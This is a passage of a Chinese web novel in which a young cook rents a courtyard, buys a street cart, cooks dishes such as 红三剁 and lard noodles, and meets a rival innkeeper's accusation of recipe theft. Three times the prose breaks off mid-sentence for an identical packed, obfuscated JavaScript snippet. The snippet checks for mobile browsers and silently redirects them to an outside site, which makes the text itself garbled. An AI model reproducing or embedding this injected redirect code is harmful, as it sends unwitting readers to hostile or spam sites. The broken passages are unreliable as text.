姜芽和朱红梅对视一眼，朱红梅眼见这掌柜的对姜芽有些赏识的意思，看起来人也还算大方爽快，就对着姜芽挤眉弄眼，想要她她问问掌柜的收不收她在这做工。 姜芽却压根不这么想，她夹了一块青蛙背石板放到朱红梅的碗中，又看着盯着自己等着答案的掌柜 “我这次来，是想着来自己做些生意的。” 掌柜的一听，倒是也不意外，只是劝了句：“小师傅，你年纪尚小，要想在镇子上立足，怕是没你想的那么简单，再说了，你若是想着要开食肆，租铺子不说，你还得招个账房，招个小二跑堂，手中的银子怕是全花出去了也不够啊。” 他的话字字都是为了姜芽考虑，好像完全没有想着万一姜芽开了食肆是不是会抢了他的生意。 姜芽也不管他说这话究竟是什么目的，面色坦然：“掌柜的，你看我这穷酸样，还开食肆呢？我只想着看看买个推车，在街边卖点小吃便是了。” 张厨子挥着锅铲颠着锅，很快就炒好了菜，喜气洋洋地端出来时，正好听见了姜芽的话。 “什么！师父！你以后要在阳宁镇上做生意了？”他邦的把手里的菜和肉放到桌上，一屁股坐到姜芽旁边就问。 姜芽迫不及待的夹了块还冒着热气的肉片吃到嘴里，咽下去之后才不慌不忙的说： “是，以后咱们可能还会常常见面了，对了，掌柜的，张大哥，你们知道镇子上有哪处院子可以租的吗？我平日里还得研究些吃食，所以最好是带厨房的那种。” 张厨子一拍大腿：“你这不是问对人了吗！我旁边院子那家人，儿子要去水建城中读书，前两日才问我要不要租他家的院子，我想着我现在这住的好好的，尽管他价格给的便宜些，搬的也太麻烦了，就跟他说不租，今日出门的时候都还看见他还在四处打听呢。” “租一年要多少？”姜芽最关心的还是这个，万一这张厨子租的是个豪宅，那就算隔壁便宜些，她也租不起。 张厨子挠着头回忆了一下：“那日跟我说的好像是二两银子一年。” 姜芽忍不住看了掌柜的一眼，租一个小院需要二两银子，她一道菜掌柜的就给了四两。 都不知道到底是掌柜的太有钱，还是她的菜方子就是这么值钱。 “那你带我去看看？”姜芽算着价格还算合适，也省了些麻烦，住在张厨子隔壁还能有人算是认识的人能照应一下。 张厨子藏不住心事，表情异样的瞄了掌柜一眼。 掌柜的马上就知道他在想什么，赶紧开口：“别看我啊，我花了这么些银子买了菜方子，本钱还没赚回来呢，你要是歇了，我这一下午就分文都挣不到了。” 眼看着张厨子马上就要发作，姜芽赶紧出声制止：“张大哥！不用不用，你就好好做你的菜，正好我要和我嫂子出去逛逛，看看哪里能买个方便些的推车，晚上我来玉食堂找你就是了。” 张厨子以厨艺看人，这两次下来，他完全已经忽略了姜芽的年纪，听到姜芽这么一说，他按下火气哼了一声 “行，晚上我带你去问问那家人！”说着还瞪了掌柜一眼。。 只是他们在食肆已经相处多年，掌柜的自然也知道张厨子这个人就是个直肠子，一心都扑在做菜上，连媳妇都没娶，人倒是没有什么坏心思。 姜芽和朱红梅二人吃了个大饱。 她打着饱嗝牵着朱红梅的手在食肆外的街上逛，顺便去上次和姜文和住的小客栈订了间房。 朱红梅看着有些熟悉又陌生的街道，有些感慨。 “三嫂！上次说好等你和我一起来镇上就带你去挑个喜欢的首饰的，走！咱们现在就去！”姜芽拉着朱红梅的手晃着，把朱红梅的思绪拉了回来。 朱红梅拍拍姜芽的小包袱：“你看你，好不容易才卖了个菜方子，留着好好买你做生意需要的东西吧，这做生意啊，刚刚起步的时候，到处都是花钱的地方，等你以后再赚到钱了，再给我买也不迟。” 姜芽却不依，她只要不租铺子，手上的钱是绰绰有余的。 她拉着朱红梅到了个首饰铺，里面的掌柜看到她们这副样子，只当是买不起，但也还是挤出个笑：“二位想看点什么？” 姜芽一眼就看到了一根带着几朵梅花的簪子，拿在手上一看，整根簪子就像是一枝开着红色梅花的梅枝，和朱红梅的名字还正正好应上了。 朱红梅也盯着那支簪子挪不开眼，除了嫁给姜文和的时候，她已经很久没有买过首饰了。 那首饰铺老板也是个会看人眼色的，看出她们二人都中意这根簪子，赶紧笑呵呵的说：“这簪子配姑娘正好，只要三百文！” 姜芽踮起脚，把簪子往朱红梅挽起的发髻上一插，夸了句：“真好看！” 怕朱红梅拒绝，她说完转身就去和铺子老板杀价去了。 那根簪子最后花了二百五十文买下来的，姜芽觉得这价格忒不好听了，那老板却也不愿意再让一文钱。 把簪子买了，二人就出了收拾铺，准备看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433839|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看姜芽想要的小推车。 街边倒是有许多商贩，面前几乎都放着辆木制的推车，这就是姜芽想买的，上次来的时候她就想过，要是最后还是攒不上钱，能摆个路边摊也是好的。 她特地找了个看起来慈眉善目正在卖些小孩子玩的玩意的老人家问：“爷爷，你们这个小推车都是从哪里买的呀？” 老人见小丫头有懂礼貌，还一脸乖巧，三言两语的，就给姜芽指了条路：“前面有个木匠铺子，专门卖推车，但是每次有人不做买卖了，推车拿回去给他，他也会回收，所以你要是手头紧啊，去到那你就直接跟老板说，你要买个旧的，能省不少钱呢。” 姜芽对老人道了声谢，心想推车这种东西，能买二手的谁还买新的。 二人按照老人指的路找到了那个木匠铺子，二百文就拿下了一辆二手推车，姜芽心里美滋滋的，推车虽看着旧了些，却结实得很。 只是住处没定下来，她只能先交了钱，跟老板说好过两日来取。 首饰买了，推车买了，今天的事就算办的差不多了，眼见天色暗了下来，姜芽本想带着朱红梅回客栈休息休息，再去食肆等张厨子，朱红梅却将手搭在她的肩上说： “芽芽，不累的话，陪我去趟书摊吧。” 姜芽算是知道了什么叫刀子嘴豆腐心，在家时，姜文和每每看书看的入迷忘了干活，朱红梅都是一顿痛骂，如今来到了镇上，她还是没忘了给姜文和带几本书回去。 她弯着眼笑：“不累不累，我同你一起去，正好看看有没有什么言情话本，我也买几本回去瞧瞧。” 朱红梅被她逗乐了，手指在她鼻尖一点：“小丫头怕是要有心上人了！” —— 上次没和姜文和一起来书摊，这次姜芽才看到，原来这书摊支在一个巷子里，左右两边的架子上都高高的堆满了书，卖书的老板坐在左边的书架前面，两只脚搭在个小凳子上，手上捧着本书看得正入迷。 在他的手边，竖了根杆子，上面挂着块布，写着四个大字——绿江书铺。 姜芽也来了兴趣，想看看这些书里面有没有什么属于这个时代的小说，自己以后一个人在阳宁镇上，能有点书解解闷也是好的。 那绿江书铺的老板抬起眼皮看了姜芽一眼，又把目光放回到手中的书上：“随便看，可租可买。” 还可以租！ 姜芽一听，赶紧往那堆书里开始翻找，想淘出几本自己感兴趣的书。 朱红梅知道姜文和喜欢看什么书，她也是识过字的，往那书架上翻找着姜文和平日里喜欢看的书。 姜芽租了五本书，朱红梅买了六本，把钱都付了之后，才发现天已经大黑，巷子里的灯笼都亮了起来。 姜芽摸摸又瘪下去的肚子，和朱红梅赶紧赶往食肆，而张厨子早已经等在了食肆门口。 见到姜芽，赶紧招呼道：“师父！还没吃呢吧？走，今日我请你们去吃点好的！” 话虽这么说，姜芽却也知道张厨子还在给自己攒着钱。 她摇摇头：“咱们还是先去看院子，然后去你家，我给你们做个红三剁盖饭！” 26. 红三剁（二） 红三剁是姜芽突然想起的家乡菜，在她的家乡，这道菜在家常菜里地位极高，是妥妥的下饭神菜。 张厨子听到又能看到姜芽做菜，自然是连声道好，朱红梅也是节俭惯了的人，对于在家自己做饭吃更是没有意见。 “我来帮你打下手！”张厨子高声喊。 “那我来洗碗。”朱红梅也附和了一句。 姜芽此刻的心情好极了，只是想着还要先去看张厨子那个院子，只能说：“好好好，不过张大哥，现在那么晚了，去人家家里说要租房，会不会太打扰人了？” 张厨子拍拍胸脯：“有甚不方便的，他们巴不得现在赶紧有人去租他们的院子呢，再过几日他们都走了，谁还去找他租？” “你说的也对，走吧！”姜芽举起手里拎着的书，干劲十足。 张厨子带着二人穿过几条街，主街还有夜间摊贩和酒楼亮着灯，再往里走，喧闹渐渐没了，周围安静下来。 两边看起来都是些住了人的小院，偶尔能听到院内传出来说话的声音。 张厨子住的地方还要往里面些，他在一个院子门口停下脚步，抬手敲了几下门：“老三，在吗！” 就算他刻意压低了嗓门，声音也不算小，里面的人应了一声，紧接着就听到往这边走的脚步。 “我说张毛毛，你是不是大晚上的又想着要租我家院子了，白天愣是做饭做傻了是吧？我就说嘛，明明我家租金还要低些，你怎么可能不来组我家的。” 姜芽似笑非笑的看了张厨子一眼，小声说：“张……毛毛？” 她实在没办法把这个名字和眼前这个高大的像头熊的张厨子联系在一起。 那被张毛毛唤做老三的人打开门，见门外还有外人，马上闭上了嘴，看看姜芽和朱红梅，转头问张毛毛：“这二位是……？” 张毛毛昂着头：“这是我师父，准备在阳宁镇做些生意，我想这你这院子不是要租吗？正好就租给我师父了！” 老三一听是来租院子的，赶紧笑着对朱红梅说：“原来是张毛毛的师父？先前倒没听他提过，您打算租多久？” “喂喂喂！”张毛毛推推老三的肩膀，指着姜芽说：“这才是我师父！” 老三迟疑了一下，不可置信的把目光挪到朱红梅旁边矮矮小小的姜芽身上：“你……是张毛毛的师父？” 姜芽这时候也有些不好意思的连连摆手：“没有没有，都是平日里的玩笑话罢了，不过我要租院子是真的，现在那么晚了，还方便进去看看么？” 只要院子能租出去，老三才不管他们是真师徒还是假师徒。 他赶紧将几人迎进院内：“随便看随便看，小姑娘，要不是我急着去水建城，真不舍得租我这院子，今天我夫人都带着儿子先去了，现在嘛，只要你看着合适，价钱就是我给毛毛那个价，绝不诓你！” 姜芽大致看了看这个小院，虽然不算大，却收拾得整齐，院里有片小菜地，种着些青菜，菜地旁还打了口井，倒也方便。 院内有两个屋子，还有一个厨房，姜芽重点看了看厨房，老三跟在她身后，赶紧说：“你看，厨房里的东西我们带也带不走，你要是租了，这些东西都留给你就是。” 姜芽知道，急着出售或是出租的房子，基本上都还有砍价的余地。 她做出一副不是很满意的样子，面色犹豫的说：“倒是还行，就是这租金……” 老三有些着急：“你租一年，二两银子！这价格你在附近随便打听，没有比我家更低的了！” 姜芽叹口气，作势往外走：“没事没事，我再多看看，你也再多问问……” 老三见她这样子，赶紧冲到她面前拦住她：“价钱咱们再谈谈！你看，张毛毛住的和我家就隔着这一道围墙，你们互相也有个照应不是？” 最终，在姜芽努力下，这小院的租金又往下降了三百文，以一两七钱一年定下。 老三急着去水建找老婆孩子，愣是点了蜡烛写了租契，姜芽把租金付了，和老三说好两日之后过来入住，租房子这事也才算是了了。 和自己的师父成了邻居，张毛毛自然是十分开心，引着姜芽和朱红梅就进了他家。 他家的格局和姜芽租的院子基本差不多，看起来五大三粗的汉子倒是把院子和屋子都整理的干干净净，厨房里的东西更是一应俱全。 姜芽本想坐着歇口气，却被张毛毛热情地拉进厨房，搓着手问：“师父你方才说那个什么红三剁盖饭，是怎么做的？你放心，我只学来自己做，绝不在玉食堂里卖！” 姜芽苦笑，原想着张毛毛做厨子只是为了谋个生计，没想到他对这行这么热爱。 “你先去蒸点米饭出来，待会要用。”她只能赶紧动起来，顺便给张毛毛找点事做。 她把自己买好的猪肉放到菜板上，先将猪肉切成小块，再两只手分别拿着一把菜刀，左右开弓的剁起了肉末。 以前奶奶总是跟她说，肉末还是要自己剁出来的才香，她总觉得没什么区别，现在没了绞肉机只能自己剁，反倒真是有了些不一样的感觉。 只是她现在人小，力气也小，剁了一会两条胳膊就止不住的酸痛，正好张毛毛把米饭蒸上了，她就把剁肉的活交给了张毛毛，自己和朱红梅在一边忙和着别的。 她拿出几个番茄，在番茄表皮上轻轻划了个十刀口，再放到煮好的开水里面烫。 接着又拿出块菜板，把朱红梅剥好的姜和蒜剁成末，朱红梅看着姜芽和张毛毛一大一小两个人都在哐哐哐剁着东西的样子，笑了起来 “哈哈哈，芽芽，你这菜名取的还真对，红三剁，现在一看，你们两个人还真是都在剁！” 姜芽把蒜末姜末放到碗里，接过朱红梅手中洗干净的青椒和红椒说：“还没剁完呢，这个也得剁！” 说着就把青红椒也都切成了细细的辣椒末。 张毛毛不愧是专门做饭的厨子，把肉剁的细细碎碎的，比绞肉机绞出来的都还要好，正好就是姜芽需要的肉末。 他看着姜芽剁好的辣椒末，好奇道：“所以你这个红三剁，就是葱蒜末、辣椒末、肉末？” “非也非也。”姜芽摇头晃脑的说：“姜蒜末不算，我来告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440230|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉你三剁是哪三剁。” 她指着张毛毛剁好的肉末说：“此为一剁。” 又指着辣椒末说：“此为二剁。” “那三剁是……？”朱红梅赶紧问。 姜芽从已经降下温度来的温水中拿出几个番茄：“这才是三剁。” 开好十字刀的番茄被热水烫了会儿，刀口处的皮已经卷了边，姜芽轻轻一扯，就把皮完整撕下来，露出带沙的果肉。 她将剥好皮的番茄切成小块堆在菜板上，接着在锅中烧油。 张毛毛和朱红梅一左一右的盯着她的操作，都想着要好好看看她这道菜是怎么做个做法。 姜芽先将蒜末和姜末倒入油中快速翻炒，炒出香味之后把剁好的肉末放到锅中。 锅里的油和猪肉炒出的油混在一起，肉香味让在场三个饿着肚子的人咽了咽口水。 肉末炒到变色，看不出生肉的痕迹之后，姜芽往里放了些酱油，就连着锅和肉放到一边，随手又拿起一口锅，放了些油之后，把番茄块放到锅中，用锅铲压着碾了碾。 “张大哥，你这厨房的工具还真是一点都不少啊……”她翻炒着番茄，嘴里夸了张毛毛一句。 提起自己的厨房，张毛毛脸上满是自豪：“那是自然，我自己一个人在阳宁镇做厨子，养活自己之外，也是对做菜喜欢得很！” 沙瓤的番茄很快就在锅中炒出了些汁水，看到炒出了汁，姜芽就停止了翻炒，只是偶尔翻动一下，让番茄在锅中熬出成浓浓的番茄酱汁。 接着她将一旁锅中炒好的肉末和青红椒末一起倒入熬好的番茄酱里，随意翻炒了几下，就喊了一声：“好了！” 锅中碎碎的肉末和西红柿汁水以及青红色的辣椒完全混合在了一起，红红绿绿的，酸甜味混着肉香，飘满了整个厨房。 姜芽让张毛毛找出几个盘子，把蒸熟的米饭先盛到一个小碗里压实，再倒扣在盘子中央，把碗拿开，一团米饭就稳稳当当的卧在了盘中。 她再用锅铲铲起红三剁，往饭上面一浇，红三剁的汁水带着肉末盖住了米饭，其中的汁水带着些许肉末顺着米饭的边缘往下流，很快整个米饭就吸足了汁水，变得成了红色的米饭。 朱红梅接过盘子，看着盘中的米饭若有所思的说：“难怪是叫盖浇饭，还真是盖浇上去的。” 张毛毛早就忍不住了，接过另一盘就带着二人坐到了一旁的桌边：“这红三剁真是太香了，浇到米饭上这个想法更是妙极了！我来尝尝！” 说完直接用勺子从米饭上方，就着红三剁和米饭，挖起一大勺吃了一口。 肉末的肉香，番茄的酸甜，辣椒的微微辣味混在一起，此刻在口中竟然一点都不违和，配着吸满了汁水的米饭，三两口就咽了下去。 姜芽和朱红梅才吃了一半，张毛毛就已经吃的干干净净，只剩下盘底一圈浅浅的红油，他又盛了一碗米饭，用把米饭按在盘子中裹了几下，愣是就着盘底的红油又吃了一碗米饭。 今晚这红三剁盖饭一吃，姜芽在张毛毛的心中，怕是已经比水建城中的那万花楼的厨子还厉害了。 27. 猪油挂面（一） 姜芽咽下口中的米饭，满足地打了个嗝，总结道： “所以咱们做家常菜的，只要能将这些简单的食材搭配好，不需要过于复杂烹饪，就可以做出爽口下饭的菜来。” 说完这句话，她又缩着脖子笑：“荷花白菜除外，那只为了装……装个样子。” 张毛毛正把三人吃完的盘子摞成一叠，闻言连连点头：“你说得太对了！就像我去万花楼比试，那些人还得看看菜做的好不好看，要我说，菜做得再好看不好吃，又有什么用！” 朱红梅在一旁听着也说了句：“所以我觉得，菜要是做的既好吃，又好看，才是需要花很多功夫的……你们先聊着，我去洗碗。” 三个人分工合作，从备菜到洗碗都没有花费太多的时间。 本来张毛毛要留姜芽二人在他这休息，说他家院子还有一个空着的房间。 姜芽想着自己已经定了客栈，笑着婉拒：“不用啦，我们已经定好了客栈了，反正再过两日我就可以搬过来，你就好好歇着吧，我和我嫂子慢慢逛着回去便是。” 阳宁镇的治安还算好，张毛毛也没有执意要送她们回去。 等两人晃晃悠悠的走回客栈，夜已经深了。 姜芽却因为刚到新环境有些睡不着，脑子里转来转去都是做菜赚钱，赚钱做菜。 洗漱好的朱红梅看到在床上打滚的姜芽，走到床边弯着腰看着她：“怎么？真的自己来了镇子上，有些退缩了？” “谁退缩了！”姜芽从床上坐起来，拉着朱红梅也坐下：“我是在想，你说我买了那个推车，卖些什么东西会好一些呢？” 朱红梅脱了鞋，躺在床的外侧：“那你要说说，你还会些什么能用推车卖的东西。” “那我会的就多了去了！你听我跟你说……” 两人在床上絮絮叨叨聊了半宿，直到姜芽的眼皮都重到抬不起来，翻个身就沉沉睡了过去。 第二天姜芽醒时，已经快中午了，朱红梅没在旁边，早上她还睡的熟的时候朱红梅叫醒过她一次，说是自己出去逛逛。 眼下左右也无事，她躺在床上翘着脚，手枕在脑后，一想到昨天租好的小院，又从床上起来拿出那张租契在手里看来看去。 虽然不是自己的房产，可至少有了属于自己一年的小院，心里还是忍不住冒出些成就感。 她把租契四四方方的叠好收到兜里，摸了摸饿扁的肚子，决定出去找找朱红梅，顺便看看食材。 扎了两个小辫子，对着镜子看了看自己长出了些肉的脸，又把剩下的银子塞到怀中，她这才出了门。 其实姜芽也说不清阳宁镇在南朝的具体位置，只凭着这两个月见到的植物和气候，猜这里该是西南方向，和她老家的气候一模一样。 这季节本是山上长菌子的好时候，可惜一直没机会进山里看看。 她直奔阳宁镇最热闹的街道，上次来已经把稀奇玩意看了个遍。 这次目标明确，昨晚和朱红梅聊了半宿，她心里有了两个备选，只是得先看看食材好不好买、贵不贵。 在一个菜摊前，姜芽停下脚步，指着摊位上椭圆的果实问：“老板，这个怎么卖？” 老板顺着她手指的方向看了看：“哦，你说这个灯笼果啊，这本来就是等着看看有没有药铺来收的，你要的话就十五文一捆。” 说是灯笼果，其实就是现代的假酸浆果，在姜芽的家乡，也把这东西叫做木瓜果，那果子还挂在枝子上，果子外包着层外皮，看起来确实像一个个纸质灯笼。 木瓜果在山上田间一把一把的长，想来这应该卖的不会很贵，果然，现在一问确实还比她心里想的还便宜些。 她点点头，也没急着买，而是把这里有木瓜果的摊子都逛了个遍，问到价格都差不多，心中才有了个底。 问木瓜果的时候，她顺便也问了问在这个时代水果的价格，只要是在路边堆着卖的水果，价格就都还在她的预算范围之内。 “芽芽！”蹲在菜摊面前的姜芽听到朱红梅的声音，抬起头往声音的方向看过去，就看到朱红梅在不远处朝她摇着手。 她站起身小跑过去，兴奋地说：“三嫂，我找到昨晚跟你说的那种水果了！叫灯笼果！” 朱春兰先是一愣，才反应过来说：“灯笼果啊，我知道了，那个东西卖的都不贵，正好能做你想的吃食。” 这样一来，姜芽想做的生意也算是定了下来。 两人边聊边往玉食堂走，姜芽想看看昨天卖给董掌柜的青蛙背石板卖得怎么样了。 刚到食肆门口，就见门口竖着的木板上，在蒜蓉粉丝白菜和荷花鸡汤白菜上面，用毛笔写了几个醒目的字：新增特色菜，青蛙背石板。 这名字本就新奇，路过的人看到这块木板或许不会对白菜感兴趣，可瞧见这古怪的菜式，大多忍不住想进去尝尝。 姜芽走进店中，果然，大部分人的桌上都摆着这道新菜。 眼下正是饭点高峰，董掌柜正忙的不可开交，见到姜芽也只是抽出空来说了一句：“小师傅你自己坐，想吃什么直接去后厨跟老张说！” 姜芽应了一声，也不客气，眼看着大堂中已经没了空位，便拉着朱红梅往后厨走。 好在后厨和大堂之间有个小天井，天井里种着棵大树，树下摆着张桌子和几条凳子，看样子是张毛毛不忙时休息的地方。 后厨总是不好随便进人的，姜芽招呼朱红梅在树下坐着等她，自己则钻进后厨看张毛毛忙得怎么样了。 张毛毛在厨房里挥汗如雨，恨不得自己多长出几只手，幸好青蛙背石板只需要放到锅里之后，就可以抽出些时间去做一道蒜蓉粉丝白菜。 “等干完今天，我一定要叫老董再找个帮厨来。”他放了一把蒜末到面前的白菜上，嘴里不停的叨叨着。 姜芽进来时，看到的就是这副景象。 她笑眯眯地走到张毛毛身边：“这么忙，要我帮你搭把手吗？” 张毛毛见了姜芽，像是见了救星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444163|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，把做好的菜放到一边，朝外面喊了声“上菜” 说完又往姜芽手里塞了把锅铲：“要帮要帮！我的好师父，你来得太及时了！你帮我煎青蛙背石板，我来做别的菜！” 见他没客气，姜芽也乐意帮忙。 而有了她的帮忙之后，总算是把午饭时的高峰期忙活了过去。 姜芽擦擦额头上的汗，把目前最后一锅青蛙背石板从锅里放到盘中摆盘，也学着张毛毛往外喊了声上菜。 张毛毛又高又壮，出的汗也更多，他直接洗了把冷水脸，坐到姜芽旁边喘着气说：“今日要不是师父你来帮忙，我真的要忙上天了，等会儿我就去找掌柜的，给你要一天的工钱来！” “不要不要！”姜芽连连摆手，“我不是为了工钱才帮忙的，就是看你忙得快发火了，才过来搭把手。对了，我和嫂子肚子还饿着呢……” 这么一说，张毛毛才一拍脑门：“你这么一说，我也饿得慌！只是现在虽不忙了，说不定还有客人来，我还得盯着点。要不师父……你自己看看想吃什么？” 他的意思姜芽听懂了，就是让她自己动手做。 正好小二拿着个食盘进来，把做好的菜摆到食盘上，又对张毛毛说了句：“张哥，有客人点了青蛙背石板，甜的辣的各一份。” 张毛毛不耐烦地喊：“知道了知道了！背石板背石板，我干脆去给他们背石板得了！” 嘴上抱怨归抱怨，他手却没停，站起来走到菜板边，就开始揉和好的糯米面。 灶台上的锅都还忙着，姜芽不好为了自己吃饭占锅，只能在厨房里四处逛，想找些简单快速能做的吃食。 “咦，挂面？”她拿起一个布袋，里面装着的东西正是简单快速代表性食材，挂面。 张厨子听着她的声音往这边看了一眼，说：“那挂面是我的，师父你尽管吃，吃多少都可以。” “我吃不了多少，你正好也没吃，我就煮我们三个人的吧？”姜芽拿出一把挂面，在锅中烧了些水，准备煮个猪油挂面。 她找了三个碗，用干净筷子从厨房的猪油缸里，分别挖了三坨猪油放进碗里。 刚做到这，又想起是借的董掌柜的厨房，便先跑出去，找到正坐在账台后歇着的董掌柜：“掌柜的，我借您厨房煮点挂面吃，要不要给您也煮一碗？” 董掌柜看到姜芽就乐呵呵的笑起来：“那自然是好的，就麻烦小师傅多煮几份了。” “该谢你借我厨房才是！”姜芽摆摆手，加上掌柜的和两个小二，那还要再煮三碗。 她回到厨房，又拿了几个碗，依次在里面放了猪油，再加了些酱油和盐。 灶台上的水已经烧开，咕噜咕噜冒着泡，她用大勺舀了勺开水倒进碗里，碗里的猪油打着转，慢慢化开，散出淡淡的油香。 姜芽把一大把挂面下进锅里，开水一碰到面条，立马翻滚着涌了上来。 她舀了小碗凉水添进去，又用筷子在锅里轻轻搅动，防止挂面粘了锅底。 28. 猪油挂面（二） 等着面条煮软的间隙，她洗了把小葱，切成葱花，往每个碗里面都放了一些。 猪油早已在热汤里化开，变成油花飘在棕褐色的酱油汤上，翠绿的葱花撒进去，瞬间给沉闷的汤色添了抹鲜活的亮色。 看着碗中清爽的猪油高汤，她又找了些磨好的辣椒粉，倒进个小小的粗瓷碗中，烧了小半碗的油，浇倒辣椒粉上。 滋啦一声，浓烈的辣香混着油香猛的腾起，带着点焦香在碗里翻涌。 等油温降下来，就能看到原本鲜红的辣椒分渐渐浸上了油的亮泽，颜色深了几分，一碗快速版的油辣椒就这样做好了。 只要开水滚出白沫，姜芽就往锅里加一小碗凉水，反复几次后，她挑起一根面条吹凉尝了尝。 面条煮的刚刚好，带着股面香，口感也煮的刚刚好，不粘牙也不夹生。 她将面条挑到碗里，随手拌了拌，让葱花猪油和面条充分裹匀，香气瞬间更浓了些。 张毛毛刚好忙完手里的活，看到灶边的几碗面，转身从铺着松毛叶的竹筐里拿出几个鸡蛋：“我炸几个荷包蛋放面里。” “我要溏心的，就是蛋黄还能流出来的那种！”姜芽正往每个碗中添着面，不多不少，刚刚好六碗猪油挂面。 张毛毛把炸得金黄的荷包蛋挨个放在面上，姜芽跑到厨房门口，手扒着门沿喊：“三嫂，吃面啦！你帮我去大堂叫一下董掌柜他们来端面吃！” 姜芽朱红梅和张毛毛三个人坐在树下的桌边，一人对着一碗猪油挂面吸溜吸溜吃的香。 溏心蛋被姜芽咬了个口，她赶紧把嘴凑到蛋黄上吸了两口，温热的蛋黄顺着喉咙滑下去，剩下的流在面上，黄澄澄的格外诱人。 她往面里放了些刚炸出来的辣椒油拌了拌，带着辣子香的面多了些火辣，正是姜芽喜欢的味道，吃了一口就忍不住赞道：“好吃！太香了！” 面吃完了，姜芽觉得还意犹未尽，干脆把碗里的汤也喝了个干净 她总觉得，煮挂面就得吃这种“还差一点”的感觉，才是最香的。 张毛毛碗里的面最多，却吃得最快，趁着这会儿没客人点菜，他把矮凳挪到树干下，靠着树干就歇了起来。 “你还有理了？”姜芽本琢磨着待会该去采买些什么东西，却听到大堂那边隐隐约约的传了些动静过来。 张毛毛也听到了这动静，睁开眼往前面走说：“师父，你们在这坐着歇息，我去前面看看。” “我也去！”姜芽改不了爱凑热闹的性子，赶紧跟上想看看发生了什么事。 朱红梅本不想去，怎奈姜芽已经小跑着跟在张毛毛后面去了，只能先把碗收到厨房里，也跟着去了大堂。 一进大堂，就看到个也是掌柜打扮的人，身后跟着两个小二，正在与董掌柜争执着些什么。 张毛毛平日里对谁都凶巴巴的，到底也只是做做样子，现在看到外面的人竟然在这扯皮，倒是第一个忍不住了，几步冲上前去，站在那掌柜面前，两人的身体几乎都要贴在一起，低头瞧着那个人的脸问：“哪来的人？来我们店找茬来了？” 不知道那掌柜说了什么，站在一边的董掌柜气的面色通红，胸口快速的起伏，指着那人说：“张厨子来了，你自己问问他，这菜到底是谁家的？” 姜芽缩在一边看热闹，听到董掌柜说什么菜的，赶紧竖起耳朵仔细听，原来这是为了什么菜吵的架。 张毛毛眼睛瞪得溜圆，那掌柜被他的气势吓了一跳，往后缩了缩，声音却还大得很：“怎么？叫个人高马大的厨子来就能吓到我了？你一个小小的食肆，偷我们悦来酒楼的菜还这么霸道？” 偷菜？姜芽摸着下巴，董掌柜当初都愿意出大价钱买她的菜，看起来也不想是会偷别的酒楼菜的人。 再说，悦来酒楼？ 她忽然想起，好像是刘石榴他爹做工的那个酒楼。 张毛毛一把拎住对面掌柜的领口：“你说老子偷你们菜？我偷你们什么菜了！！？？” 悦来酒楼的掌柜矮了张毛毛一个头，此时又被抓住领口，只能努力昂着下巴说：“荷花鸡汤白菜！就是你们这个小食肆从我们悦来酒楼偷的！” 听到荷花鸡汤白菜，张毛毛和董掌柜都不约而同的转头往角落的姜芽这看了一眼。 姜芽却没说话，只是似笑非笑地看着那掌柜。 张毛毛心中有自己的衡量，他自然是选择相信姜芽，毕竟他认识姜芽以来，她做的菜都是他没有见过的。 在认识姜芽之前也没听说悦来酒楼有什么特别新奇的菜式。 “胡说八道！你说这菜是你们悦来酒楼的，你们有证据吗？”张毛毛另一只手捏着拳头，看着已经快忍不住要把拳头打在对面的脸上了。 悦来酒楼的掌柜见到他的拳头，倒是不怕了，甚至将脸凑了过去：“想打我？你打啊！你说这菜是你们玉食堂的，你们又有什么证据吗？” 眼见这人已经开始耍起了无赖，姜芽才从一旁走了过去，拍拍张毛毛：“张大哥，先放开他，我来问问他。” 张毛毛哼了一声，松开领口的同时还把那人往后推了一把，那掌柜的连退了几步，身后的小二赶紧扶住了他。 他站直了身子，拍拍自己的领子，斜着眼打量姜芽，语气轻蔑：“哪来的小丫头片子，看这一身穷酸样，这有你说话的份吗？” 姜芽还没生气，朱红梅已经挡在了姜芽面前：“你再说我家妹子一句？” 那掌柜又看着朱红梅捏了捏鼻子：“呦，还不止一个，董掌柜，你这到底是食肆呢，还是什么收容处？” 朱红梅像个被点炸的炮仗，冲上去就要动手，就连张毛毛都吓的把她拉了回来，低声说：“师父的嫂子，别急，他们就是故意激你呢！” 姜芽不可置信的看看自己的衣服，又看看朱红梅的，转头问董掌柜：“不是，董掌柜，你帮我看看，我这哪里穷酸了？我和我嫂子穿的都是前些日子在镇上买的新衣裳，怎的就穷酸了？” 董掌柜以为她当了真，赶紧说：“小师傅穿的整整齐齐，他就是在胡说八道！” “哦~”姜芽意味深长的哦了一声，又看着悦来酒楼的人说：“听到没，长眼睛的都说了， 